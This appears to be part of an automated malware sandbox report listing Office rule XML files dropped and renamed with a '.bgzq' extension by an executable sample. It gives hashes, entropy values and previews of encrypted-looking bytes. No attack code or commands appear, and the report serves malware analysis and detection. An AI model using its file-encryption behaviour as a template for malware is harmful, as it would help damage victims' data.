Preview:	<?xmlsE.(..@..p..../,.%.:...b,5..{x..".%..q.e.......-......0JY.....2...g.+........m..".BF(z.0....gs..C&.z..pk]+{....LE........~.$.A...8,.c......X....5.wmt..E..l..."..b}r.x.g.....R....O.Cc.......5.v..X..Y..X{.M".8.Q...N.._..M1...._.._k..e^.....6:5.....L5...``.].H..H..8q.........AZ7.:;7E.h..\.i..u....(.;:C.>.h..-.Y.cL\|.."%......x7...J...$...T>C...9`.S.k9.'..R.@GgY..E..N.t..Y........~.q.>_]...5...........@...C...@....H.).Cn..@cH..?T....T1.E.k?.F...XM.....&B2h.2U.....g..O...]`..!I..)..Z.n.d.H.$........p.4.:.....F.:]).C..`/cZ.7.pqe....!.......6._o.2a.R.\..9e).....MEF.....!.y.Q..+(.Y..W..`3...p.....T...M....Kx.`8'\|.....R.i...aS....K..'.dO.#.............j...O._..O...6.R....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.754534822226902
Encrypted:	false
SSDEEP:	24:7a32NaOxdU28ecsqeBOMhwvT9RXS0lG1LVbD:m32ME0sqIOMqRdSMQLFD
MD5:	EB54F930C759C8CF603D1570478EE406
SHA1:	5E15FFC6373491880833B04857DBDB817600D91D
SHA-256:	DB7E19A87787D81CD0E6E3276E34CC3AD605FA9F471468B1DF5A7801E2FF6053
SHA-512:	74BF54AA7F206E23E6E6F5F9D0B5E986C311AB8AFE897761BFF2FCD3C70683044D17C0A0DCB87B1F0C907FA3908801C2C29B4FBAB7D7AE4830877A25911E261D
Malicious:	false
Preview:	<?xml.AR."".7.._..c.ZN..>0.`...S....kM..s..p..p...s....bR..lt...d...e2....8..u}.fuU..(.......I..vd....qRBl.E.d.^..TgY.....n.Bh..V..1W..N....{........].^,..B......&d.9...$l......J......o~..M.db.D.}.3...Z...X3..X..4..B.g.E.r.....)Bm........k?....u..h..G.]:.;^i.....B_O.1!t.s7.S.Qq..S,.m.`.........g?..Ao..%.....j..b..aO...:.y.....@3.;...L,....k..a..Y..*f..%.=6..".a.....P.[Px..N.,l..8...r...i.++)..\|....."....f`..,.<....\p.(....x.....U....(D...8.P-.....-..k.skC......;..k.....oYHz.>8...\.....0.F..n...F.A/....!......C..{(..Q..d..8..EM...\PK..^..B..:#j5(.r$.:TK...s$.{...K:}$.2..._..F....oE.\|.<$;._...E...:.Y.u......g..a)........,...>.a.ZU... \|:.G.&......8..-P@.....n..&..n..;.,.C..K.........T.R.AM.....ZP... itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.702556087975593
Encrypted:	false
SSDEEP:	12:CI2mgANt+5US2u5cXxgNLpBsWlUcYTA1gt3d9gscDSokfx0IqYXdNNjVcii9a:tsytZl69FpB+TxAOoRONVbD
MD5:	3157D696E484833C7EA884575F74F46F
SHA1:	63E645FEA6BD47782C2D54E44F5B1EA073C18AC6
SHA-256:	5747FF7295F1D706D23043C96DA297A56E69A721FE791969C4AD4EB2D3C13A60
SHA-512:	E1C2FF4001FB5A2286C47A41FA225D4EB7D6927859CC01C5ED46263D473DDA19F880400738063BA40D7DD29E05D6DEC3754161F28580B40442E823BF2A32962A
Malicious:	false
Preview:	<?xml...._X.3\|....o.<...^G..3..$..8......v.;xu.R..@....(.. ....g..j]d...-u.)&\|.V...1........".vR[.2..i.RS.%!...E3.pP,...<.C.%.&...K..m.@J.D.9......I..p...'....~{..2...X.aT...f.Y.....2.E........g>.N.l..d&..H.M..,......aQgHr..J...../.?.p..:o...p.k.vG?......Nw...N.....`...x5!I...u.....k.CBC..W.H.c...n.}..p.V.oS.......w( A.8......V..Q...]m2....tvn.c.@L..N8N.}Vn<..x.T....B".u..(...q....u..x..^f.w0!5H9..a..'l.@^2K..S.=?...Dl.q.Otp...G...]...y.8..l.J.uj.o....=.g.G..."..[....#l...9..%.q..e.....R..x...;.Q.....go.w..0.s....iF....O0.n.vI.M.:l3.n1.........T..f.\|.....c.'.}B...p,;.."..Cr.Ee;...B.."@.+Uc0....'.)..9..I..5.*..7..r......\Qm..Uk.uitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.722927921825546
Encrypted:	false
SSDEEP:	24:m2MKio4FoOfeaGPaawd+AiYzYs8975ZsgZfAcVbD:7MKiVFLaQIYzIZsBcFD
MD5:	9AAB0FF55F00EBFBC343A9A89CDC55E4
SHA1:	137329DC5883ED3C6DC5FDE41D4833F576839ADF
SHA-256:	92EADFA7078AB4EE95E46275539AB38E161AD05827D41E3815F6651D30B6BDD7
SHA-512:	C90F228D85E9D75D2E54590D938F0DF9234AF03AF6ABEC1BCC8DBBFE3854B0E5075C353AF4A2F5F22A4D12036ECA3FEF9301CFA856557FF81F3A090D24D926A6
Malicious:	false
Preview:	<?xmlV......i..8...(.c..9.a.\.wB.......g..@....wm/]7cm.a.1...W..V..6.AO...X.o?@#=<.pR.....X.q...g.j.K....(.`o..y..9.}L..y...4.l.2......".+.....&..k.{..V....OA...g.I.%.uM&.7...........4X8.+..P.(.\|L....o....eM........q.x.+..\W......9..3.T..$..2_&....w{0:x.{.~.8<..$......Q.Y...s..s......J....,.>d.1..u.....,H...,...r........p)..MP.........5...X(.w.r.......Xy81{{.Q..p..f3.. .c2..Z..G...5~^.o...Z..&.2.T.1_d.Kp.:.4..AHw+..;.3+M.<.s..h>...V..../vp.....)u.`......iA..)..=%_..ttdn.{G.\|^..".z.S....J.t...N......^..{..f.i...\|.4.g..UFBa.r.K.s...0..I.W.S..T...;..q..2x......?S..b.MY..P6i6>.q$...aU..O....PX.D...ks...=..M._$W. ..J....T...(:..q..]e&.qO.TZ..q...2.V...+...)..Kw.p....3...7V........N.Z.Y..]_itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.726060758547422
Encrypted:	false
SSDEEP:	12:AiZjZ3wD7thWvO6B/3ZdfbRtW4dZXCVgSK552XzWKV6wuLD/jVcii9a:5ZwDZhW9lLRtv3CKz52jWY6TLDbVbD
MD5:	7D398D1F5E735760DD2ED44359D1F4D3
SHA1:	C5B65FC01BCE9B5D987B4BB0A26D7642678929A5
SHA-256:	AFFAF5B0E8CA6A494809BED1F407A55C75FA02303B6059FCDC4FE9FC8DA3A704
SHA-512:	581AF5E04CEB188519D19E336A82D9C9A252D2FDDA1821534AFD9B5F27C59A1B0CB1C79468F324D7D687667D6A7502E70FE609582AF3F67F30BF05354F99F230
Malicious:	false
Preview:	<?xml....?\.+.b`...+.$P.F....a.\..R..~....b........A.4xQ.......4..../.C#.VX.(.b8..!.CJ_wV.L...ZVT.......%<(;^...Yj...o.A...}....-..1...e.....vrjn.ET...v..?w.ds...#.s...(D.......c..Y.?...L..p...0....g..../..C.P....-6....[.9.w..1/P/>..TK.y.2.l...\|..qp.#...ma..i.#....=..?...$F..#.E.8.>.Q.i..R./.;%..N.hQbQ..!!]Z.[.....DK..xK....}..:.q.2bzh',vq%...~..z).._<...).b.,3..=2}.}..K..{...f.!ly...lG.B..<.....-v.........U...X\..N..,..A....PivQ#.X.....Jyz.....?..\[h.l.a..I^.'...z..N.fi.w.^...4.(cL`.E....FF...G......-UV.?...:.J.=..E.E.JN.c...a..dHR....S...].K.....(...r...x .."F3.L2.B.EO.C..#... ........>..\|....+...<.R.Mu.uM..S....{(.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.727948947377205
Encrypted:	false
SSDEEP:	24:VF4KMgj97/c1X6oZTENWyEicgEGkpkLahVbD:TXMU9c1K8TEN3qg7ahFD
MD5:	DF15952D4542501547239081A58682E8
SHA1:	445A939296389B218FB7F63C7A620190FC1C631B
SHA-256:	3596D3E7FBBBD06D778637AACEC4890FA2007ED654C4A06EC300713D85BF201C
SHA-512:	A17080FAEFF6C6B20DA3B0DE2B3E22D573A369FE70EBD300F971D62219485AD4A0A0CBBB042ECE429D2D633A044DD7456FEA9B2354D3BE4AAEC2FB3ECAFEFFC8
Malicious:	false
Preview:	<?xml)#V%n........m'\|...zc'.4.c}T...@....%..."~R..3n>....N....y...w@.)k.....r\|.x.x..c...n.#...........r..f;l%=I.U.....J.%.aF.\.!..[;..{k..;B..f.........%Wz.~.........6%...4+\....M....<...%A....".^.....~.\|T.......#.6..2....;^.X....-b..N.V....W.3....x_..N..Q.I@.6.........../...-."..YJBn.....\|...`M...x.....r........2....SP....M..5.S...>.....=+p^.<.....L......c:.%...R...x...o.4.9.x<c.....KT<bl4A.(....p..&..^a..]B....g.x...-.......?.D...& .,..k.M....Sm."r.}.d..&(r...M".[S..D`...2...x.....k..V.O. .k.v.>...y...3............3...ha.3l.8.".b...l.$.B.:Y.@>..... ....f6...wzM@.$....K........'..<...&.e.$....3..w.......C7x.mZ....ltN.e.]T..A9...f.(..?.qe..V.l.S.#<\3..((.fS.N.Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.729975168194411
Encrypted:	false
SSDEEP:	12:Lp0JfBxcFWHFrpvwjUpMXyyD9IBBeFqnPkseZeyYCYu+Nj91kp2a9QejVcii9a:LIfBaFWHFFyUcyyxIKFukse8O+B1syc9
MD5:	89AB1D7C83DD9367E1FBBB12AF04EA1B
SHA1:	9EAE680A44765316EE8471FE2DB130667BE04E95
SHA-256:	99552D8D1CCAF726180C30710D8B93864A2213D064970876AB550C1081DC3AAB
SHA-512:	2E14C48465E4B03E7A86AAF528F3AE485A845E996988B331B7B31463190EACF9A9C4A9D5CB1D8CEBAA098C2AFB6E74FF25094DFFB98DFB4E443867E9AFF174B3
Malicious:	false
Preview:	<?xml?\....Y.+.C....`.<...r......Ew...cu..#..o.....k.1.<\W.....AC}.h...y.2.q..ECP...>S.....X..<..?.y...s$`..ehHw"....}.....+.)......... QL.].......5...t..?....;7).`....i>....u5..#N.D.o.....&..E....cr..s....g.....<............$..........C.x..o..R}......Y..<...N^.az}AW\..@..s..a..L.-.#G~.&pQE...-!5......i.........RB1.w.e..../.%....T..&..B3.....+..Hm..~.u{.DC"Z..z.......Q..u>.b....T/..bKh.,....R..8.v......\|F}...w.........v..i......v%..{..zPo..........r.JB.......\|..a..T...F...}c...<.:...S...'.M.\|...s...M ...u\|........t.,.^/g...z.{%.....eh.P...7:.\|..W:?..R...bD..a.........8..P..4...t[/.B.D.rJ67...f1^.......A,m4........kkc......1."....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.761893428678123
Encrypted:	false
SSDEEP:	24:ZUgTGI+t2MU0BOzq3r7bbmQwuit8ypkDVbD:dZTVWTbC2DFD
MD5:	365438BABC4488E47EBCC4250D9DEEB5
SHA1:	E48D0B8711D856BC418198FDDC3A0ED31CC5508F
SHA-256:	3C59999FAD169DE556E28142C61A1D08D97335662802283B357733E6FE35D389
SHA-512:	2A55C01EB379B77C03BCFEFB130FB50456523B769C0579AE32049BC95D10E71F5C0C5AE6FEE893F0CC20E608B1CBA31DD957CCD8EA7B00D1BEA91379F3B778EF
Malicious:	false
Preview:	<?xml!.......:.....e.g..]@.?.S...._..DD..#.Z....)......'Z....84.>...xs.A.a..`..G...M.. .L.....T.g6.......^...s...W..G.U.....-.....].....B....O...q7.)j.s...].e....../.....6...L:9..d..(../.x@.iC.f.......d..wa....a.^1 :.....z..]=d...h..........%.2..o.S.e1...T9.G..........,/kS.jx..#{j.^3Bf.P.J#.;.I...{....q....GwT`.....L.._....G.D.F.h4........x.U].(D..t..'.....D...^+4.bQ...*....]YR...n=..e..e.~._..U..o....Q..Q..h..#^..M...K3....7..\.;).<-....x......}!....ldc..J..H......o..}.am........gz..z(....b..........L....6....m6U.6...f..F..".."... ..3..i.Xm...:iF..Uc[G....\.s....[...Wx.X"\|.........OvF.s....r..B..1.&>.4X.??.q.t.a....]....z.H.d3a....Y3..P.P9..J..ZS9.UL....\e..{.J....4.;c?....hVk]...v....x.<z .m..J.I..tc.\^.N.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6879230816260575
Encrypted:	false
SSDEEP:	12:DfhQKkkSaoG4b5SK0iMOd/Clp5I2GmkJuqIot5tPJsWSGvlReoVybgyarjVcii9a:DfgkpoG9K0cClp5IukJuWtLP1Ssjeo26
MD5:	A617F435DB321C44B0158B0DD745BE8D
SHA1:	9FAA4DC559AB12A55DC0551561186A44AB7C73C3
SHA-256:	0D92C0CAF6B837DBA9BB71CA683B92EDBFE58EAA51EA069D477992FC0E40575A
SHA-512:	FA00950E716784E90FA0F4D74E566F1F8AF31EFBB24CC02EA9384F43F0E1D6333E88AB5F6188F9CFD568B87A193BAC8DEDCC6CA291317C793FD4382A887C1F33
Malicious:	false
Preview:	<?xml."...h........RZ.P.Bx.T...Y%\=..H5%.0^b.L.."mu....P...\|.....@o..........n.'+.O...C7......@.%.O.../.4.{..<.6..2..a=...pyc ...fd..W'......Z....a.3.V.oZkN.V...S...Su\|...H.(..r.v.....K............@.U._.n..U..j@.".lU.p...T.fu..~.g,r)..1.......iB...s{....u).O..]...".a...z..Q..D.....Dx`...R.Tz ..\|i)?.P.BQ...y......neu....r.. f,}.....A6.^.....[<.O.....=..^r.'.....O...[..;...VD...XE0.\|...lE.N0d...}..p..<Qm...;fc.H.7+...v..}$...au...<g.Lh.......t..Q..../.....X....]{.H4.Y.:.1%...4 ....v-uE..W.. ........H.K...vt....sn....;.Z.__...m@...d...Z[...dA......$7T.^j.o`-..D.-....zz8..W..{.l.....).{....k.\|..%......,.{P.....'.!...x..S..X....[..D...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.718462084600237
Encrypted:	false
SSDEEP:	24:Jz5mZSt+/jZmDJV3kqcdqQiTCbT2+5iVbD:JzcLrkJVB0qQGx+EFD
MD5:	0DC0FCF32356A818F6CF8969BF0F0703
SHA1:	55BD74778A6D7368F564B570F4AB0C0ED490BF8C
SHA-256:	C68218CD2A50B49F77FA6D537C06267C514B69DD493911B5ACD1F3EC4761EF51
SHA-512:	FE07F406C1A220D65FDC41162B4A314B9A955A771F7A61433BD6F4DB105637FA89F50C7D0011405A9888D235B10E0475A2D1967CCA07563412982F1A179AEB46
Malicious:	false
Preview:	<?xml>.b.....vD...+...d..v.. Q....V.k...X....D.I=...n.~...HZ..9...l...G0i>........`...Br....k9_j4.....$9w....RM.V/QA..]w..{}...7.T.`.i..~..9.3q.e<..3...t.,...O.;.m..<.%.r..D.9.i.o..............F.1.....Z..W....R%...i..l..~&....k.lz.i$.B....k.QQP...H.w+Z_. .$...R.~..C..<..W.R...2[>......Y.7.4.3B.....b.c..&A.TNSe.[.O)^..y."%..;..P....q.!...&.....V.dp.5.Y,...z.....q.J...In......>o.VX..\|Gu..n.].X..jH..2^./.0...#.........C.N>e..4\.dS.[.T...`,.@.3.I...lSje..pNG:1..A....A.m.P.S.../-.N..P.O.UP......0}..js....I.....3.$mi..}.A...x..p.?;U..m..W^...Z.%..M~....}(J.9Yp..^....4...c..*...v@.X... k-.....6...2..B.p...Q...6..]t.Y_?.5z...L..w.7A.}..o.\|...D.dj.Y. ./....."NU:........hY...Qt...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.71164628943761
Encrypted:	false
SSDEEP:	12:6zjNrJrUk50gaxi1ay25bWYDJbvqxSJht1+BRklpqAo6V7jVcii9a:+J5Ag1bAJbvO6hCPklpqmVbD
MD5:	8CC60EE1484D5B1B5372005164069061
SHA1:	0FFD6FCE1B02A674F8D3C0FE41B6351D6D7632CC
SHA-256:	9B49512DECFE4DA7EFD4BC30EE20FC083996BE5B845610D8B38CD979D74BAC73
SHA-512:	C60EBF0BBA18E810DD68E24C9AF925F8ED1BA088CA6A352A4FC13A80E3F15FBF0E8856576F23DD709359C7500B4E7BD58EDC0DC6CD19EA2507F7A8662016BFDD
Malicious:	false
Preview:	<?xmlo.w...pR....yP.@...QD....W.)..#w'X.AE<H.:t..M,..L{.Y%.X.WW.y.'......9%F.jf.......V.....[...._..)[.e..~S!C>.t&...cmoD.i....A%&#h....x.5qn.trm.......>tw..ot.c...1SiA..._.8K...h.GH.:.4.\|..:Yv}b@br..2!t....{.t......k/.{62cWM......E.z.>....vr.z.>.mf...........}.F._.".~...^nG...D..j..../.v.FQ...YQ.7..x.l/D......D]%V..P...........C....kL..^b.dE....l.g.......`.........Z.S......~j.:...K;b.>"^.3@.C... p...xE$E..-.\|.......B.......\A.>?.X..MJ...1 V..z..XCJ.DK..WN8I.V,]..'r.,..'...."...m0.O....!...b..}.T..p..;...Zxx.]..G..G.\J...).GK0y..;>}.kj./'.Y......}0.....bR........#...F....8..'R...$.:z...\|..Z.wRh.E.?.!@_...9.v...r.0.S.y.[L^itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.723091719385683
Encrypted:	false
SSDEEP:	24:sZDsLbtBWUbtycaTE8Wa0UlTRF5zLoYt7yZVbD:sZDsLbe80hjLF5zX1yZFD
MD5:	9FA450BC960F3F1C8603FCD734E02DA2
SHA1:	6AE48888A468760DC9AC8CF294E40A158AC3145E
SHA-256:	F4B601AEAF60890274D1199DCF2936E7496A32660164CC64E324C6FF95A913D9
SHA-512:	128C02E4163EBBCC6D068E538E306A40BCD65B24D54C4821DD746CE87D5C25E4BA00A600A00D3F5C6DF448B5E83FA9219485E171D64D4684940AC0EF8BA0364C
Malicious:	false
Preview:	<?xmlRR..k.u.......G7Hyh...V.q...uB.3...8..P.....P[.4Kq...e.:....3.....LA./%-U...`.W..>r`BF../c.%Se.\|....}....'.$....%.,..,Rc.......\|.,Q$............,.S.>.j>g.p.UX.CcgP:~5..x...~...@.p.4.ugB.?...v...6.,...CS...v.\c.CJ......[.......u.[..iH.p....].z..".v........ZeV..ko.2..@3..=o..5.._....I.5.?.o.....32=..&V-.I..8B.......=3.`....y8../pW.......Z.W.. ...$.k./..W..0..x.....&..#.....h..1..-.X...<.\.ZX#..>....$.f..{.28T....!.....1....4.j.I.';.f..x.V.:D...5xs....=..jp...7Zh......YnH..?..n.ij.......8s.SUc.`0....}..`^..$S..j.=....u....[>N.}...E......]nn.&.9.9.........*..aN.Om.XsIU4.t;.I....D...#W.....-.J...."....Bn_b...c...t7.... (7&.d..J\|g..,.e...$.8'..7.V.a..S.F.v..Qb..?....:y.....J.~-...(.(....j......!j..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.710874760132126
Encrypted:	false
SSDEEP:	12:fNEzrSrL92rx1xInHKjYGlXlJ+AqOUvybZgNCAvFJ/wwZrq7l95cIenyYWYBjVcq:fmOrL92rxqQBkGZWCUFZwMQHcIenyLYv
MD5:	62596E8AA6D2631B8B4858DE808115BD
SHA1:	801A17C649C9B13E3FFADE6825F1F0D20F11FA7E
SHA-256:	DB27FF5FB03522315ED5C97BB7292F0770F5EAB5639536C8718E08A3DB1E815A
SHA-512:	FAA8EF8C22B1DD3CEE4E1F1DD8E6B41B62C1103D00D566142864E416F19A00A5CEC88AA7CACE84A41F55E8DEE58E8408607C90E330D5BB3E9F44B59CE6E91FD6
Malicious:	false
Preview:	<?xml.e .=.cz^...^....._cu.bR6.&..z2P.A.,..V"...(\|....X/g..........!.>..yI.]g....9>....^w'.K..s.oR..q8.7....1...(.f.&.\|1\|D..y...Mg.7.^ ...]..i..../.`.....J...k.... =....AWM}{..C.......>[.#Q..\|2...s.}1.Y......:.H..1+cc;U.x3...(.=U..">...O...;.t..u...!.p..W...`..m....PP.1uB4.........}.......!.x.$OY.Hf#h..Q.>..P....wI......l..t...E%3.....`]..P..:.uX.].~.wD.Q..6........\...4.....d..X.x(...$.<L[.Mx.`r.a..I'..f1.R..,...E.o.f.lU.s{....uGbQhz.{.CT5...u...X:.O...-..V0.&.T7....)...t......S..v8..Fn\...;..K...0$.j.[J;.....Cq..]......k{.X.V...wn.$/>2......9...o....G......f.`.FKC..U,.tl..i..}....I=N.*1./Lb.....h...o@.q......d....Ic.S!.6itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.719285992082987
Encrypted:	false
SSDEEP:	24:zSYTd1aidybugEM+fbwyjT/vhcqqF7QhsDJXZVbD:baEbfbwyjT/vhcDF7QhupFD
MD5:	81188BB25A7ECF8C5FA0E9A46AB45114
SHA1:	51BB4C24590A8A40615B2C9AE7C4430ACE92DD23
SHA-256:	68CD737F4383636A8D277227DAC19D413DB5D0B185C944EF752598FD06684F51
SHA-512:	96B7AE6B756CC4AED3B6E710F7C83AE381844149970D5B06ECF056E98F89A6FC6267A94F0640E7C1B40C98B4B2530FC58ABC66FE5211C3D878F778D9F922A935
Malicious:	false
Preview:	<?xml..g..2f.>...S(o"..~M.....sM.d3...@5..Z.[<Y.Y..S.o.....J....)`..ut.......#.....i... 6...G.y[L...z..h.[.b.%"..."...PW..H....y.I&0.\|B....3:.r.f.wa....I...../W}..P....K.}T.f..v......K.;.....U/......g?..u.U#.z..a.@..&6....6..]..d.....\|r.Jfge.E...z...-f.E<-4@...26..8.>......g..-..LT.w....#^zt...D...".tV.+A.Tp.....\r4^xh..x...$JZ.....<.;..xO{...l..[.{/.Kt..Gy....c.K.m._.pD...\9...F.....d.mK>...:..~...@....I.E[......>.A.....2...`.8...]......$.i.~...D..RW......U..........: ..&...hc....W.a_..TAtQS...H...2C3...Q[!q_g..y.~..7#.~..7..~...9h.....~.2.j....r.6.......X...Ms.....r.}..T...../@l.......^.Yz.ta..3Om..j....6..\O..6.s..\|...$.<..h.-....S..[v...h&..U.-mT6....R...Y.A.OR..A.[..2L....,.....of....r&itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.711254683879911
Encrypted:	false
SSDEEP:	12:o6TnybaLyVUn3Jupo2PrOatTfFONf/JR94GEt6AZg5p1V/m0MlwbmjVcii9a:RnXmV6upNPr1R+JR94Tt6z5lO4bkVbD
MD5:	50F5401F4B776D96476B7693B466E05C
SHA1:	352A58CD4704B5DF6508966BD5CF0009843C41D8
SHA-256:	F946E4D11F98E470A125F688B2D2675AA028819951F59DA4188B67792E8D143A
SHA-512:	4C12A956A9027EFCE607FC9E4537EB5A8F80AF7300F33BCF8631568F2B01C9084BE1A3F5117614D830F1F0DF447CB10B51A16F25B66978735B5A0CDF88E9E7A8
Malicious:	false
Preview:	<?xml3.zTI....t.+dG....X@5J..5..b.E.!.1...O._..f\|.W8....$5....H6.5.L....J...a.....+....E..B........[/.3.i8N...._.a.0....r.z..5Fl;..s.$``.2..j.....9.(..N.U...;..G.2..,..B#%p.=.?P$..^wkN.LA^..{Y..W.C..aa.....H".C.p...M..=1Q...u.k....~....)b<...Sc.]5..q`.._.,..M.1..T...A..{&....(.....`.ndA.9.o..2.5.....R56..e...>Ke..9.1u.........J..$..W...H.Sq.W......Fk..C.y.%m.Pl.......\|`.u.~...r....Z....9.og...m......8Kr..a.O.WV...0l..v....\.la...8....d.?[.Wh..J.A....ks.%../...W..Hh[.}.E.2..R.Z..]).VA.u.1...Y?_.,......Y/....qWT..f.1z..\|......$.... b19a3.<D.=Yl...Q....t...h.:R5Vzv...j,....[..V...t....Vs..Aj........'.%UB...]...lJ...xM.y&I'.......3J)4.W....3.[.ititkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.782229874380353
Encrypted:	false
SSDEEP:	24:c1Rr/aSYi3CjqMEMda5xHu3sS9QtuLVbD:cLAiy2MQY8S9QtIFD
MD5:	06B21C20E2C3EA052540CB9847D2800F
SHA1:	73646A90B6E5D9A2BF763BFB51FAD5C08D042D19
SHA-256:	E1FC824586378FD06CD5308A123E148DF4CE3E3A3920C9B68D0FC83C6D90CDEF
SHA-512:	2FC3C9EDE1FCE7D2D9F334FEB7558CE5DE3BC14C8969F1D3FA7073E3A9C23B07B21B42183F9B3DDAFB643F9284826BC6A1F605FBF3308787A36AE908BE43791B
Malicious:	false
Preview:	<?xml;E._JLYK....P.I..2.Hpu_.ka.!+....8....h......t_....!..x..1...........XS.pB..Q......}..u!b .X!.0.;{........&.O....m.[..].y....8.e.n/..t^..w..X{.U..W.......q;.O........#A.2..V..j....Q....^..g.....".p.E.J...q[kC..^..P.M....".h.o_......1..lm?Q...G..>.C\.2.@._.?.UD%Q.C}c......F...sanU.,1/9.w......<..1.$.H....N.l...`(s..K..z..........;...d.r...............m..2<...C=...:.[.l.S.rB.....&.@..c,#.P..p}B..s.P.....d.......`..c4c..9t..Z.'E.ol.m 8..@'........b5..B.OY.T.us.`.l...7M.Q.7...m:.....}I.Hvh......6.1..S.i....c.r..........(n.9Q,..~...'..7>.:.O.".....%X.T...c......_.........<,.Ob..'4...G?.<U....Q.PuqG..r.8.4(..@.Q..I....p.....\.]89......S}.j...K..}~d1..p..... .m8w^..3.h..\|..n...HR..k...GA-g....Gi..I.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	756
